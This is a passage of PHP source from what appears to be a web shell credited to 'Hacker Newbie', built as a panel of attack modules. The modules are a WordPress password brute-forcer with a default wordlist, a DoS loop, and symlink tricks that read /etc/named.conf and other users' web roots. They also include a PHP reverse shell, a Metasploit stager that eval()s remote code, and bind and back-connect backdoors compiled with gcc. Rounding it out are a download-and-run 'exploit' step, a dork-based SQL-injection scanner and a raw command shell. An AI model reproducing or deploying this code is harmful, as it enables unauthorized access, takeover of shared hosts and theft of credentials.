4182 show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
4183 $verificate++; show($verificate, 0, 0, 'verified', 1);
4184 if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
4185 else{
4186 show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
4187 show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
4188 }
4189}
4190preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
4191if(substr($site, 0, 3) == "www") $site = substr($site, 4);
4192foreach($frontpathes as $frontpath) {
4193 show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
4194 $verificate++; show($verificate, 0, 0, 'verified', 1);
4195 if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
4196 else{
4197 show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
4198 show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
4199 }
4200
4201}
4202}
4203//////////////////////////////////////////////////////////////////////////////
4204
4205elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
4206{
4207?>
4208<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
4209<center>
4210<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
4211<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
4212<form enctype="multipart/form-data" method="POST">
4213 <table width='624' border='0' class='tabnet' id='Box'>
4214 <tr><th colspan="5">Wordpress Brute Force</th></tr>
4215
4216
4217 <tr>
4218 <td > </td>
4219 <td ><p>Hosts:</p></td>
4220 <td ><p> Users:</p></td>
4221 <td ><p>Passwords:</p></td>
4222 </tr>
4223 <tr>
4224 <td> </td>
4225 <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
4226 <td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
4227 <td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td>
4228 </tr>
4229<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
4230<?php
4231if($_POST)
4232{
4233 $hosts = trim(filter($_POST['hosts']));
4234 $passwords = trim(filter($_POST['passwords']));
4235 $usernames = trim(filter($_POST['usernames']));
4236
4237 if($passwords && $usernames && $hosts)
4238 {
4239 $hosts_explode = explode("\n", $hosts);
4240 $usernames_explode = explode("\n", $usernames);
4241 $passwords_explode = explode("\n", $passwords);
4242
4243 foreach($hosts_explode as $host)
4244 {
4245 $host = RemoveLastSlash($host);
4246 $hacked = 0;
4247 $host = str_replace(array("http://","https://","www."),"",trim($host));
4248 $host = "http://".$host;
4249 $wpAdmin = $host.'/wp-admin/';
4250
4251 if(!url_exists($host."/wp-login.php"))
4252 {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
4253
4254 foreach($usernames_explode as $username)
4255 {
4256 foreach($passwords_explode as $password)
4257 {
4258 $ch = curl_init();
4259 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
4260 curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
4261 curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
4262 curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
4263 curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
4264 curl_setopt($ch,CURLOPT_POST,TRUE);
4265 curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
4266 $login = curl_exec($ch);
4267
4268 if(eregi ("profile.php",$login) )
4269 {
4270 $hacked = 1;
4271 echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
4272 ob_flush();flush();break;
4273 }
4274 }
4275 if($hacked == 1){break;}
4276 }
4277 if($hacked == 0)
4278 {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
4279 }
4280 }
4281 else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
4282}
4283?>
4284</td></tr>
4285</table></form></center>
4286<?php
4287function url_exists($strURL)
4288{
4289 $resURL = curl_init();
4290 curl_setopt($resURL, CURLOPT_URL, $strURL);
4291 curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
4292 curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
4293 curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
4294 curl_exec ($resURL);
4295 $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
4296 curl_close ($resURL);
4297 if ($intReturnCode != 200){return false;}
4298 else{return true ;}
4299}
4300function filter($string)
4301{
4302 if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
4303 else{return $string; }
4304}
4305function RemoveLastSlash($host)
4306{
4307 if(strrpos($host, '/', -1) == strlen($host)-1)
4308 {return substr($host,0,strrpos($host, '/', -1));}
4309 else{return $host;}
4310}
4311echo "</p>";
4312}
4313
4314
4315//////////////////////////////////////////////////////////////////////////////
4316elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
4317{
4318?>
4319<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
4320
4321<?php
4322
4323echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
4324
4325
4326if($_GET['urldd0'] && $_GET['timedd0']){
4327for ($id=0;$$id<$_GET['timedd0'];$id++){
4328$fp=null;
4329$contents=null;
4330$fp=fopen($_GET['urldd0'],"rb");
4331while (!feof($fp)) {
4332 $contents .= fread($fp, 8192);
4333}
4334fclose($fp);
4335}}
4336}
4337
4338elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
4339{
4340?>
4341<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
4342
4343<?php
4344
4345@set_time_limit(0);
4346
4347echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
4348
4349@mkdir('sym',0777);
4350$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
4351$write =@fopen ('sym/.htaccess','w');
4352fwrite($write ,$htaccess);
4353@symlink('/','sym/root');
4354$filelocation = basename(__FILE__);
4355$read_named_conf = @file('/etc/named.conf');
4356if(!$read_named_conf)
4357{
4358echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
4359}
4360else
4361{
4362echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
4363foreach($read_named_conf as $subject){
4364if(eregi('zone',$subject)){
4365preg_match_all('#zone "(.*)"#',$subject,$string);
4366flush();
4367if(strlen(trim($string[1][0])) >2){
4368$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
4369$name = $UID['name'] ;
4370@symlink('/','sym/root');
4371$name = $string[1][0];
4372$iran = '\.ir';
4373$israel = '\.il';
4374$indo = '\.id';
4375$sg12 = '\.sg';
4376$edu = '\.edu';
4377$gov = '\.gov';
4378$gose = '\.go';
4379$gober = '\.gob';
4380$mil1 = '\.mil';
4381$mil2 = '\.mi';
4382$malay = '\.my';
4383$china = '\.cn';
4384$japan = '\.jp';
4385$austr = '\.au';
4386$porn = '\.xxx';
4387$as = '\.uk';
4388$calfn = '\.ca';
4389
4390if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
4391or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
4392or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
4393or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
4394{
4395$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
4396}
4397echo "
4398<tr>
4399
4400<td>
4401<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
4402</td>
4403
4404<td>
4405'.$UID['name']."
4406</td>
4407
4408<td>
4409<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
4410</td>
4411
4412</tr></div> ";
4413flush();
4414}
4415}
4416}
4417}
4418
4419echo "</center></table>";
4420
4421}
4422
4423elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
4424{
4425?>
4426<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
4427
4428<?php
4429
4430echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
4431
4432$file = @implode(@file("/etc/named.conf"));
4433if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
4434preg_match_all("#named/(.*?).db#",$file ,$r);
4435$domains = array_unique($r[1]);
4436//check();
4437//if(isset($_GET['ShowAll']))
4438{
4439echo "<table align=center border=1 width=59% cellpadding=5>
4440<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
4441<tr><td>Domain</td><td>User</td></tr>";
4442foreach($domains as $domain){
4443$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
4444
4445 echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
4446 }
4447 echo "</table>";
4448 }
4449
4450echo '</div>';
4451}
4452//////////////////////////////////////////////////////
4453/////////////////////////////////////////////////////
4454elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
4455{
4456?>
4457<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
4458
4459<?php
4460error_reporting(0);
4461function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
4462$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
4463echo $s_result;
4464if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
4465if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
4466if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
4467if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
4468if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
4469umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
4470$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
4471$process = proc_open($shell, $descriptorspec, $pipes);
4472if(!is_resource($process)) exit(1);
4473stream_set_blocking($pipes[0], 0);
4474stream_set_blocking($pipes[1], 0);
4475stream_set_blocking($pipes[2], 0);
4476stream_set_blocking($sock, 0);
4477while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
4478if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
4479if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
4480if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
4481}
4482///////////////////////////////////////////////////////////////////////////
4483
4484elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
4485 {
4486 ?>
4487 <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
4488 <br><br><br>
4489<?php
4490}
4491//////////////////////////////////////////////////////////////////////////////
4492
4493elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
4494{
4495?>
4496<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
4497
4498<?php
4499
4500echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
4501
4502ob_start();
4503set_time_limit(0);
4504
4505if (isset($_POST['scan'])) {
4506
4507$browser = $_SERVER['HTTP_USER_AGENT'];
4508
4509$first = "startgoogle.startpagina.nl/index.php?q=";
4510$sec = "&start=";
4511$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
4512
4513for($id=0 ; $id<=30; $id++){
4514$page=$id*10;
4515$dork=urlencode($_POST['dork']);
4516$url = $first.$dork.$sec.$page;
4517
4518$curl = curl_init($url);
4519curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
4520curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
4521$result = curl_exec($curl);
4522curl_close($curl);
4523
4524preg_match_all($reg,$result,$matches);
4525}
4526foreach($matches[1] as $site){
4527
4528$url = preg_replace("/=/", "='", $site);
4529$curl=curl_init();
4530curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
4531curl_setopt($curl,CURLOPT_URL,$url);
4532curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
4533curl_setopt($curl,CURLOPT_TIMEOUT,'5');
4534$GET=curl_exec($curl);
4535if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
4536
4537FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
4538echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
4539
4540Found..</font></b></center>';
4541ob_flush();flush();
4542}else{
4543echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
4544ob_flush();flush();
4545}
4546ob_flush();flush();
4547}
4548ob_flush();flush();
4549}
4550ob_flush();flush();
4551}
4552
4553elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
4554if(isset($_POST['uploadcomp'])){
4555 if(is_uploaded_file($_FILES['file']['tmp_name'])){
4556 $path = magicboom($_POST['path']);
4557 $fname = $_FILES['file']['name'];
4558 $tmp_name = $_FILES['file']['tmp_name'];
4559 $pindah = $path.$fname;
4560 $stat = @move_uploaded_file($tmp_name,$pindah);
4561 if ($stat) {
4562 $msg = "file uploaded to $pindah";
4563 }
4564 else $msg = "failed to upload $fname";
4565 }
4566 else $msg = "failed to upload $fname";
4567}
4568elseif(isset($_POST['uploadurl'])){
4569 $pilihan = trim($_POST['pilihan']);
4570 $wurl = trim($_POST['wurl']);
4571 $path = magicboom($_POST['path']);
4572 $namafile = download($pilihan,$wurl);
4573 $pindah = $path.$namafile;
4574 if(is_file($pindah)) {
4575 $msg = "file uploaded to $pindah";
4576 }
4577 else $msg = "failed to upload $namafile";
4578
4579}
4580?>
4581<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
4582<table class="tabnet" style="width:320px;padding:0 1px;">
4583<tr><th colspan="2">Upload from computer</th></tr>
4584<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
4585<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
4586</tr>
4587</table></form>
4588<table class="tabnet" style="width:320px;padding:0 1px;">
4589<tr><th colspan="2">Upload from url</th></tr>
4590<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
4591<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
4592<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
4593<tr><td><select size="1" class="inputz" name="pilihan">
4594<option value="wwget">wget</option>
4595<option value="wlynx">lynx</option>
4596<option value="wfread">fread</option>
4597<option value="wfetch">fetch</option>
4598<option value="wlinks">links</option>
4599<option value="wget">GET</option>
4600<option value="wcurl">curl</option>
4601</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
4602</tr>
4603</table>
4604<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
4605<?php }
4606elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
4607
4608// bind connect with c
4609if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
4610 $port = trim($_POST['port']);
4611 $passwrd = trim($_POST['bind_pass']);
4612 tulis("bdc.c",$port_bind_bd_c);
4613 exe("gcc -o bdc bdc.c");
4614 exe("chmod 777 bdc");
4615 @unlink("bdc.c");
4616 exe("./bdc ".$port." ".$passwrd." &");
4617 $scan = exe("ps aux");
4618 if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
4619 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
4620}
4621// bind connect with perl
4622elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
4623 $port = trim($_POST['port']);
4624 $passwrd = trim($_POST['bind_pass']);
4625 tulis("bdp",$port_bind_bd_pl);
4626 exe("chmod 777 bdp");
4627 $p2=which("perl");
4628 exe($p2." bdp ".$port." &");
4629 $scan = exe("ps aux");
4630 if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
4631 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
4632}
4633// back connect with c
4634elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
4635 $ip = trim($_POST['ip']);
4636 $port = trim($_POST['backport']);
4637 tulis("bcc.c",$back_connect_c);
4638 exe("gcc -o bcc bcc.c");
4639 exe("chmod 777 bcc");
4640 @unlink("bcc.c");
4641 exe("./bcc ".$ip." ".$port." &");
4642 $msg = "Now script try connect to ".$ip." port ".$port." ...";
4643}
4644// back connect with perl
4645elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
4646 $ip = trim($_POST['ip']);
4647 $port = trim($_POST['backport']);
4648 tulis("bcp",$back_connect);
4649 exe("chmod +x bcp");
4650 $p2=which("perl");
4651 exe($p2." bcp ".$ip." ".$port." &");
4652 $msg = "Now script try connect to ".$ip." port ".$port." ...";
4653}
4654elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
4655{
4656 $pilihan = trim($_POST['pilihan']);
4657 $wurl = trim($_POST['wurl']);
4658 $namafile = download($pilihan,$wurl);
4659 if(is_file($namafile)) {
4660
4661 $msg = exe($wcmd);
4662 }
4663 else $msg = "error: file not found $namafile";
4664}
4665
4666?>
4667<table class="tabnet">
4668<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
4669<tr>
4670<td>
4671<table>
4672<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4673<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
4674<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
4675<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
4676<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
4677</table>
4678</td>
4679<td>
4680<table>
4681<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4682<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
4683<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
4684<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
4685<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
4686</table>
4687</td>
4688<td>
4689<table>
4690<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4691<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
4692<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
4693</tr>
4694<tr><td><select size="1" class="inputz" name="pilihan">
4695<option value="wwget">wget</option>
4696<option value="wlynx">lynx</option>
4697<option value="wfread">fread</option>
4698<option value="wfetch">fetch</option>
4699<option value="wlinks">links</option>
4700<option value="wget">GET</option>
4701<option value="wcurl">curl</option>
4702</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
4703</table>
4704</td>
4705</tr>
4706</table>
4707<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
4708<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
4709<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
4710<table class="cmdbox">
4711<tr><td colspan="2">
4712<textarea class="output" readonly>
4713<?php
4714if(isset($_POST['submitcmd'])) {
4715 echo @exe($_POST['cmd']);
4716}
4717?>
4718</textarea>
4719<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
4720</table>
4721</form>
4722<?php }
4723else {
4724if(isset($_GET['delete']) && ($_GET['delete'] != "")){
4725 $file = $_GET['delete'];
4726 @unlink($file);
4727}
4728elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
4729 @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
4730}
4731elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
4732 $path = $pwd.$_GET['mkdir'];
4733 @mkdir($path);
4734}
4735 $buff = showdir($pwd,$prompt);
4736 echo $buff;
4737}
4738?><center><br><br><div class="info">-=[ Hacker <span class="gaya"><a href="http://hacker-newbie.org/">Newbie</a></span> ]=-</div>
4739<div class="jaya"> © ENno HNc</div></center><br><br>
4740</script>
4741<iframe width="1" height="1" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F76040388&color=ff6600&auto_play=true&show_artwork=true"></iframe>